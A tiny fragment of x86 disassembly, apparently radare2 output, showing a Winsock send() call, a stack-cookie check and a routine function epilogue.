call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00419f88
mov esp, ebp
pop ebp
ret